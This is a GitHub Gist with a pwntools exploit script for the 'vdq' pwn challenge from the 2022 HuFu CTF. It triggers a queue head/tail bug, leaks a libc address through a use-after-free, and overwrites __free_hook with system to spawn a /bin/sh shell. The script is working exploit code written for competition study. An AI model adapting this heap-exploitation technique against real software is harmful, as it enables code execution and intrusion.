Last active
April 12, 2022 03:29
-
-
Save xf1les/a45bb572f6a509ed0d7c912187f9b774 to your computer and use it in GitHub Desktop.
2022 虎符 CTF Pwn 题目 vdq EXP
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pwn import * | |
import warnings | |
warnings.filterwarnings("ignore", category=BytesWarning) | |
context(arch="amd64") | |
context(log_level="debug") | |
libc = ELF("./libc-2.27.so") | |
p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) | |
libc_sym = lambda x : libc.symbols[x] | |
libc_symp = lambda x : p64(libc.symbols[x]) | |
libc_os = lambda x : libc.address + x | |
## | |
p = process("./vdq") | |
# https://github.com/Ainevsia/HF2022-vdq-mva-fpbe-static/tree/main/vdq | |
# https://www.anquanke.com/post/id/258083 | |
pay_with_comment = '''[ | |
// make self.cap = 8 | |
"Add", "Add", "Add", "Add", "Add", "Add", | |
"Remove", "Remove", "Remove", "Remove", "Remove", "Remove", | |
// make self.tail = 2 | |
"Add", "Add", "Add", "Add", | |
"Remove", "Remove", "Remove", "Remove", | |
// make self.head = 1 | |
"Add", "Add", "Add", "Add", "Add", "Add", "Add", | |
// trigger BUG, now -> self.head = 8, self.tail = 1 | |
"View", | |
// The layout of notesq buffer after BUG is triggered | |
// pwndbg> tele notesq.buf.ptr.pointer | |
// 00:0000│ 0x56490bfe32f0 —▸ 0x56490bfe5720 ◂— 0x1 | |
// 01:0008│ rax rdi 0x56490bfe32f8 —▸ 0x56490bfe3270 ◂— 0x1 <- tail | |
// 02:0010│ 0x56490bfe3300 —▸ 0x56490bfe32c0 ◂— 0x1 | |
// 03:0018│ 0x56490bfe3308 —▸ 0x56490bfe2f30 ◂— 0x1 | |
// 04:0020│ 0x56490bfe3310 —▸ 0x56490bfe3380 ◂— 0x1 | |
// 05:0028│ 0x56490bfe3318 —▸ 0x56490bfe3220 ◂— 0x1 | |
// 06:0030│ 0x56490bfe3320 —▸ 0x56490bfe31f0 ◂— 0x1 | |
// 07:0038│ 0x56490bfe3328 —▸ 0x56490bfe5720 ◂— 0x1 | |
<- head | |
// | |
// Note that notesq[0] == notesq[7] | |
// Free chunks into unsorted bin (notesq[1..7]) | |
"Remove", "Remove", "Remove", "Remove","Remove", "Remove", "Remove", | |
// Leak libc address (from notesq[1]) | |
"View", | |
// UAF, make notesq[0].msg.ptr = &__free_hook-0x50a-8 | |
// (Here we can get a chunk which was previously notesq[7].msg) | |
"Add", | |
// Write __free_hook (notesq[0]) | |
"Append" | |
] | |
$''' | |
pay = '''[ | |
"Add", "Add", "Add", "Add", "Add", "Add", | |
"Remove", "Remove", "Remove", "Remove", "Remove", "Remove", | |
"Add", "Add", "Add", "Add", | |
"Remove", "Remove", "Remove", "Remove", | |
"Add", "Add", "Add", "Add", "Add", "Add", "Add", | |
"View", | |
"Remove", "Remove", "Remove", "Remove","Remove", "Remove", "Remove", | |
"View", | |
"Add", "Append" | |
] | |
$''' | |
p_sl(pay, '!\n') | |
for i in range(6+4): | |
p_sl(b'', ': \n') | |
for i in range(7): | |
p_sl(b'a'*(0x500), ': \n') | |
p.recvuntil("Cached notes:\n") | |
p.recvuntil('Cached notes:\n -> ' + 'a' * 0x500 + '\n -> ') | |
data = p.recv(2*8) | |
# Reverse the byte order of received hex string | |
# ' -> a05c9a4f3d7f0000a05c9a4f3d7f000000000...' | |
addr = b'' | |
for i in range(0, len(data), 2): | |
addr = data[i:i+2] + addr | |
libc.address = int(addr, 16) - 0x3ebca0 | |
info("libcbase: 0x%lx", libc.address) | |
# The struct of notesq[0].msg is like: | |
# ptr | |
# cap | |
# size | |
# | |
# Do not corrupt size (which is 0x50a here), | |
# or we can't get the notesq[7].msg chunk from tcache since payload is too long. | |
pp = flat([ | |
1, 0x12, | |
libc_sym('__free_hook')-0x50a-8, # ptr | |
0x800 # cap | |
]) | |
p_sl(pp, ': \n') | |
p_sl(b'/bin/sh\x00'+ libc_symp('system'), ': \n') | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment